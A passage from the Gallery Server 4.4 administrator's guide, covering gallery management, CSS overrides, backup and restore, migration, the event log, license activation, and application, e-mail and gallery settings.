The path, relative to the web site root, to the directory

containing the Gallery Server files. Example: If Gallery Server is

installed at C:\inetpub\wwwroot\dev\gallery, where

C:\inetpub\wwwroot\ is the parent web site, and the gallery files

are in the gs directory, this property returns /dev/gallery/gs.

Used when referring to resources such as the .xaml skins for the

Silverlight media player.

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{HostUrl}

The URI scheme, DNS host name or IP address, and port number

for the current application. Examples: http://www.site.com,

http://localhost, http://127.0.0.1, http://godzilla

{UniqueId}

A string about twelve characters long that can be used to

uniquely identify an HTML element intended to be referenced

later by JavaScript. Ex: gsp_1c135176ed. For an example of how

this is used, refer to the IE1to8 template for the video/mp4

MIME type.

Gallery Manager

The Gallery Manager page allows you to manage the galleries in the application. A single gallery is

created when Gallery Server is installed. Refer to the section Working with Galleries to learn more about

them.

Above is a screen shot of the Gallery Manager page. It shows two galleries in the application and

indicates that the current web page is pointing to the Marketing gallery.

Note: Be aware that only those galleries you have permission to administer are shown. Site

administrators always have permission to all galleries, but gallery administrators will only see those

galleries they have permission to administer.

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Switching galleries

Recall that each instance of the Gallery Server user control on a web page points to a single gallery at a

time. A default installation of Gallery Server includes one web page named default.aspx that points to a

single gallery that is created during installation.

If you wish, you can configure the current web page to point to a different gallery by selecting the

desired gallery and then choosing Switch to selected gallery. After making the switch, view the items in the

gallery by browsing the gallery in the normal manner (click ‘All albums’, click the gallery title, etc.)

The typical scenario for switching galleries is when you add a new web page and gallery and then want

to point the web page to the new gallery. A demonstration of this example is in the section How-To: Set up

multiple galleries.

Creating, editing, and deleting galleries

Create a new gallery on the Gallery Manager page by entering a name and choosing Create gallery.

Important! After creating a gallery, it is highly recommended you immediately update the media assets

storage directory to a new location, since by default it has an initial value of \gs\mediaobjects\, which

may be used by another gallery. Do this on the Media Settings page.

Edit the name of a gallery by choosing the Edit button. Note that all you can edit is the name. To modify

settings for a gallery, see the next section.

Delete a gallery by clicking the Delete button. This action will delete all database records associated with

the gallery, but it will not delete the media files. To delete the media files, use a tool like File Explorer to

manually delete them.

Modifying settings for a gallery

Many of the pages on the ADMIN and SETTINGS ribbon tab expose settings for a gallery. (Some are

application wide and one – Gallery Control Settings – expose settings for the Gallery user control on the web

page.)

To modify a setting for a gallery, first make sure the gallery is configured as the current gallery on the

Gallery Manager page. Then navigate to the relevant settings page and update the setting.

When dealing with multiple galleries, get into the habit of verifying the “applies to” section at the top

right of administration pages to ensure you are updating the correct gallery.

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CSS Override

Override the default styling with the CSS Override page. For example, you may wish to override the

default fonts, colors, padding, or other styling. The styles you enter on this page are stored in the

database and are preserved during upgrades. They are sent to the browser in the <head> section, just

after the other CSS files.

For example, the following CSS will increase the size of the gallery title shown in the top left corner of

every page:

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If you want to make extensive styling changes, it may be better to create a new skin. See the section

Create or modify a skin.

Backup and Restore Data

Gallery Server stores data in two locations:

• The media files are stored in a physical directory on the web server’s hard drive or a UNC-

accessible location.

• Information about media assets and albums are stored in a SQL Server or SQL CE database.

Backing up, moving, copying, or restoring Gallery Server data requires moving or copying both sets of

data. The backup function built in to Gallery Server exports all gallery data to an XML file, and the restore

function replaces existing data with the data from the XML file.

Note: The backup / restore function backs up and restores only the gallery data, not the media files.

There are several techniques for implementing a backup strategy, several of which do not even use the

built-in backup / restore function. See the next section for more information about performing regular

backups.

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Backup strategy

A regular backup is a normal part of every computer user's life. Which method you use, and how often,

is up to you. Hopefully you don't learn the hard way your strategy is inadequate.

Backing up your gallery data involves these sets of data:

• The media files

• The data in the database.

• web.config configuration file

Backing up the media files

The media files are stored on your server's hard drive and can be backed up the same way you back up

any files. You can discover the location where the media files are stored by referring to the setting Path to

original file directory on the Media Settings page. In the example below, the media files are stored at

C:\WebSites\gallery\gs\mediaobjects.

Backing up the data

SQL Server: For SQL Server databases, there are a number of ways to back up the data:

• Use the backup functionality built in to SQL Server.

• Use the backup function built in to Gallery Server to export data to an XML file. See below for more

information.

• Use a third party backup program that knows how to back up SQL Server databases.

SQL CE: If you are using SQL CE, backup your data with one of these techniques:

• Use the backup function built in to Gallery Server to export data to an XML file.

• Copy the data file App_Data\GalleryData.sdf to your backup location, either manually or through an

automated script.

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Backing up the web.config configuration file

The web.config file, stored in the root of your Gallery Server web application, stores information specific

to your application. If desired, back up this file using the same technique you use for your media files,

whether it is a third party program, manually copying, or an automated script.

Using the built-in backup function to create a backup file

The database stores information about your media assets, such as title, extracted metadata, file names,

etc. To export this data to an XML file, follow these steps.

1. Log on to Gallery Server with an account that has Administer Site permission.

2. Click the Backup & Restore button on the Admin ribbon tab. The following screen appears:

3. To include login accounts in the file, make sure the Export user accounts option is selected.

Note: Selecting Export user accounts includes the users, roles, and applications stored in the

membership tables. When selected, ALL membership data is exported. If you are using these tables to

manage membership for other applications, be aware that the data for these other applications are

also included in the backup file.

4. To include the gallery data, make sure the Export media asset and album data option is selected.

5. Click Create and download backup file. A file is created and downloaded to your browser.

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Note: Remember that the backup file does not include the media files. It includes information about

the media assets, such as titles, captions, and extracted metadata.

Note: Be aware that the backup file may contain passwords in clear text format.

Using the built-in restore function

Use the restore function to replace all data in your Gallery Server database with the data in the backup

file. Remember that the backup file does not include the media files. Restore these files separately by

copying them from your backup device to your media assets directory. (You can do this either before or

after the restore.)

SQL Server users: The restore function uses a very efficient algorithm for importing large amounts of

data very quickly (equivalent to the bcp utility), but this technique requires SQL permissions equivalent to

that provided in the db_ddladmin or db_owner roles. You may have to temporarily modify the connection

string in web.config to specify a user with elevated permissions. After the restoration is complete, you can

revert to the original permissions.

Note: Restoring data replaces the existing data. This action cannot be undone!

To restore the gallery data from an XML file created with the backup function, follow these steps:

1. Log on to Gallery Server with an account that has Administer Site permission.

2. Click the Backup & Restore button on the Admin ribbon tab.

3. Click the Restore tab. Use the Browse button to select the backup file. Click Upload. The file will be

verified and the web page will display the number of records in each of the tables in the backup file.

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4. To import login accounts, make sure the Import user accounts option is selected.

5. To import the gallery data, make sure the Import media assets and albums option is selected.

6. Click Restore data. When the restore process is finished, a message will confirm that the restoration

is complete.

Note: Your current login account may no longer be valid since it was deleted during the restore. You

must log in using an account that was in the backup file.

Migrate Gallery Server to a new location

Follow these directions for transferring an existing installation of Gallery Server to another web

application. The new web application may be on the same server or a new server.

1. Copy the web application files to the destination.

2. Use Internet Information Services (IIS) Manager to configure the new directory as a web application

running under ASP.NET 4.5 or higher.

Note: If you encounter an error about permissions, use Windows Explorer to give the user account IIS

is running under modify permission to the web directory (ex: C:\inetpub\wwwroot\galleryserverpro).

Refer to the section Configuring NTFS Permissions in Microsoft Windows for more information.

3. If necessary, move your media files to the new location.

4. If you are using SQL CE, then you already copied the gallery data, since it is in the file

App_Data\GalleryData.sdf. Skip the following step.

5. (SQL Server only) If you are using SQL Server and you need to migrate the data to another instance

of SQL Server, you have a few options:

• Use the tool built in to SQL Server to backup and restore the database. Refer to your SQL Server

documentation for more information.

• Use the backup function in Gallery Server to back up the data to an XML file, then use the

restore function at the destination gallery. Refer to the relevant section in this guide for creating

a backup file and restoring it.

6. If necessary, update the SQL Server connection string in web.config.

7. Use your web browser to navigate to your new gallery. If the media files are stored in a new

location, you may need to tell Gallery Server where the files are. This is on the Media Settings page.

Event Log

Gallery Server stores a log of events and unexpected errors. These items can be accessed on the Event

Log page:

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View detailed information about each error by clicking the expand icon at the beginning of the row.

When trying to discover the cause of an error, consider these tips:

• Read the message carefully. Sometimes a solution is provided within the message.

• Use the Gallery Server forum or a search engine to search for your error message. Chances are

pretty good that someone has experienced the same error.

• Consider whether it is negatively affecting your gallery. For example, a malicious robot might be

sending malformed data to the gallery, triggering an error. Study the details to discover whether the

source was a real user or a robot. The HTTP User Agent string is helpful here.

• If you cannot discover the cause of an error message, feel free to post a question on the forum.

Please include ALL the detailed information in the log, but use care not to post sensitive

information. For example, an error that occurs while logging in may contain your password in the

details.

Site Settings

This page is for application-wide settings. It is accessible only to site administrators.

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License

Overview

Gallery Server is fully functional for the first 30 days. During this trial, it contains all the features of the

Gallery Server Enterprise edition. When the trial expires, a watermark appears on each image and the site

admin area becomes read-only.

Convert the trial version to any of the editions by copying a file named version_key.txt into the

App_Data directory and entering license information in the site admin area. This information is provided to

you after completing your purchase at https://galleryserverpro.com. Below are detailed steps describing this

process.

You are allowed a limited number of activations with your license key. To install Gallery Server on

another server, first deactivate the key on the old installation. If you are using Gallery Server in a staging

environment in addition to a production environment, you can use the same key to activate both instances.

Version key vs license key

When you purchase any version of Gallery Server, including the free version, you are given a license key,

a license e-mail address, and a version key file named version_key.txt.

The license key is a string beginning with “GS-“. It is assigned during your purchase and never changes,

even when new updates are released. This key, along with the e-mail address used during the purchase, tells

Gallery Server 4.4 Administrator’s Guide Page 143 of 246

the licensing server you are an authorized owner of a Gallery Server product. But it has nothing to do with

which version you have access to.

That’s where the version key comes in. The version key changes with each release but it is not tied to a

particular user. When an update is released, a new version key file is generated and included in the upgrade

package.

The combination of license key and version key authorizes a particular Gallery Server product and

version to a particular buyer. Once the initial activation is performed, you shouldn’t have to worry about

them again.

Activating a license

1. Purchase a license from galleryserverpro.com.

2. Go to your Downloads page and download the version_key.txt file.

3. Copy version_key.txt to the App_Data directory of the gallery web application.

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4. In your gallery, click the Site Settings button on the Settings ribbon tab.

5. Enter the license e-mail and license key, then click Save changes. The license will be activated and

functionality appropriate to the purchased version is enabled.

Note: If you get a message saying Invalid License Key, verify that you are entering the license key into

the Site Settings page. It’s a string that starts with “GS-“. Some folks accidentally enter the version key.

The version key is in a file named version_key.txt and should be placed in the App_Data directory.

Deactivating a license

Your license comes with a limited number of activations. Be sure to deactivate any unused instances of

Gallery Server so that you don’t reach your activation limit.

Deactivate a license by clicking the Deactivate link on the Site Settings page.

Application settings

The table below describes the application setting properties.

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Enable caching

When enabled, caching is used to reduce the need to query information from the

database, substantially improving performance.

Caching may need to be disabled when this application is deployed on a web farm.

Allow gallery

admins to manage

users and roles

Gallery administrators are allowed to add, edit, and delete users and roles. Disable

this option to prevent a gallery admin from modifying users and roles. This option

does not affect site admins, who always have access to all functionality. See section

Users and roles in galleries for more information.

Allow gallery

admins to see

users/roles that do

not have access to

current gallery

Gallery administrators are allowed to see lists of users and roles that exist but do

not have access to any gallery the gallery admin can administer. When this option

is disabled, only users and roles that have access to a gallery the gallery admin can

administer are made visible. This option does not affect site admins, who always

have access to all functionality. See section Users and roles in galleries for more

information.

Remove oldest

items from event

log when

maximum size is

reached

When enabled, Gallery Server will limit the size of the event log to the number of

events specified here. When the maximum size is reached, the oldest events are

deleted to make room for the new ones. Use this feature to keep a rolling history

of events.

Skin

The name of the skin to use for the gallery. See Skinning the gallery for more info.

jQuery path

The path to the jQuery script file. The path may be:

• Relative to the root of the web application. Ex: "~/Scripts/jquery-2.2.3.min.js"

• A full URL. Ex: "//code.jquery.com/jquery-2.2.3.min.js"

If the web application already uses jQuery and is adding the jQuery script reference

through another mechanism, specify a blank string for this setting.

jQuery Migrate

path

The path to the jQuery Migrate script file. This file is necessary when using jQuery

1.9 and higher because some plug-ins use APIs or features that were deprecated in

newer versions.

The same rules as the jQuery path apply.

jQuery UI path

Specifies the path to the jQuery UI script file. The same rules as the jQuery path

apply.

ImageMagick path

The path to the directory containing the ImageMagick convert.exe application.

More information is included in the tooltip on the page.

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E-mail settings

SMTP server

Specify the IP address or name of the SMTP server used to send emails (e.g.

127.0.0.1, Godzilla, mail.yourisp.com).

If you wish to use the SMTP server specified in web.config, (either explicitly

assigned in this web application or inherited from a parent application) you

may leave this field blank. Gallery Server will automatically use the value

specified in the system.net mailSettings section if no value is specified here.

SMTP server port

Specify the port number to use when sending SMTP mail. This setting is useful

when the web server is behind a proxy.

If you wish to use the SMTP port specified in web.config (either explicitly

assigned in this web application or inherited from a parent application), you

may leave this field blank. Gallery Server will automatically use the value

specified in the system.net mailSettings section if no value is specified here.

If not specified, and if no value is defined (nor inherited) in web.config, the

default port 25 is used.

Use SSL

Select this option to send e-mail using Secure Sockets Layer (SSL) encryption.

For example, the Gmail SMTP server requires SSL.

Name and address

to show emails as

coming from

Emails sent from Gallery Server (error reports and password change

notifications) will appear to be sent from this person at this email address.

Specifying authentication details

If your e-mail provider requires authentication, you can specify a username and password in web.config.

Open web.config, located in the web application root, and look for this section:

<!--

<system.net>

<smtp>

<network

host="relayServerHostname" port="portNumber"

userName="username" password="password" />

</smtp>

</mailSettings>

</system.net>

-->

Uncomment the section by moving the --> to just before the <system.net> element. Then update the

host, port, userName, and password attributes to the correct values. When you are done, it will look

something like this:

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<system.net>

<smtp>

<network

host="localhost" port="25"

userName="Administrator" password="admin_password" />

</smtp>

</mailSettings>

</system.net>

Note: This blog post may be helpful: Use Gmail as your SMTP Server

Note: When you enable this section in web.config, the SMTP server and port on the Site Settings - E-

mail page are ignored, so you must specify the server (i.e. the host attribute) and port in web.config.

Application information

This section displays a few basic properties of the application:

Trust level – Hopefully the application is running in full trust, as this mode allows all the features to be

used. Some hosting providers force applications to run at a lower trust level.

.NET Framework version – Displays the .NET Framework version for the current application pool. Note

that this will display 4.0 even when 4.5 or 4.5.1 is installed.

IIS app pool identity – The identity of the IIS application pool.

FFmpeg.exe found? – Indicates whether the utility FFmpeg.exe was found in the application’s bin

directory. When present and the application is running under full trust, Gallery Server is able to encode

video and audio and generate thumbnails for video files.

NOTE: FFmpeg, ImageMagick, and GhostScript are open source programs that are installed separately.

As a convenience, they have been bundled into a single ZIP file called the Gallery Server Binary Pack.

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Data providers

This section provides read-only information about how the ASP.NET data providers are configured in

web.config. Click the information icon next to each provider to learn more about it.

Gallery Settings

The Gallery Settings page exposes several settings that apply to the current gallery.

Notice that, in the screen shot above, a message at the top indicates “This page applies to: Gallery

‘Marketing’”. Many of the site administration pages have a similar message at the top to indicate the scope

of the settings on the current page.

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Header options

Show header*

When checked, the header area of the gallery is displayed. The header

includes the gallery title, various links at the top right, and the ribbon toolbar.

Gallery title*

The header text that appears at the top of the gallery. This can be blank.

Gallery title URL*

The URL the user will be directed to when they click the header text. This

setting is optional – if not present, no link will be rendered. This setting is

ignored if the Gallery title field is empty.

Show login/logout

buttons*

When checked, controls related to user account management are shown in the

top right corner of every page. These include the user name, login/logout

button, and the link to the user's account page (if the option to allow users to

manage their own accounts is enabled on the User Settings page).

You may want to disable this feature when the audience is primarily

anonymous web users without user accounts or when you provide your own

authentication system. Administrators can always log in by navigating directly

to the login page (use the query string g=login; ex: default.aspx?g=login).

Show search link*

Indicates whether to display the search link in the top right corner of every

page.

* Indicates a setting that can be overridden on the Gallery Control Settings page

Error management

Email detailed

reports when web

site error occurs

When checked, the users specified below are sent a detailed report when a

web site error occurs. The e-mail settings must be configured.

Users to notify

Specifies the administrators to receive the e-mailed error report.

Enable error

handling

Select this option to use Gallery Server's own error handling routine to deal

with all unexpected errors. Disable this option if you have an application-

level error handler defined in web.config or global.asax you want to use for

unhandled excepti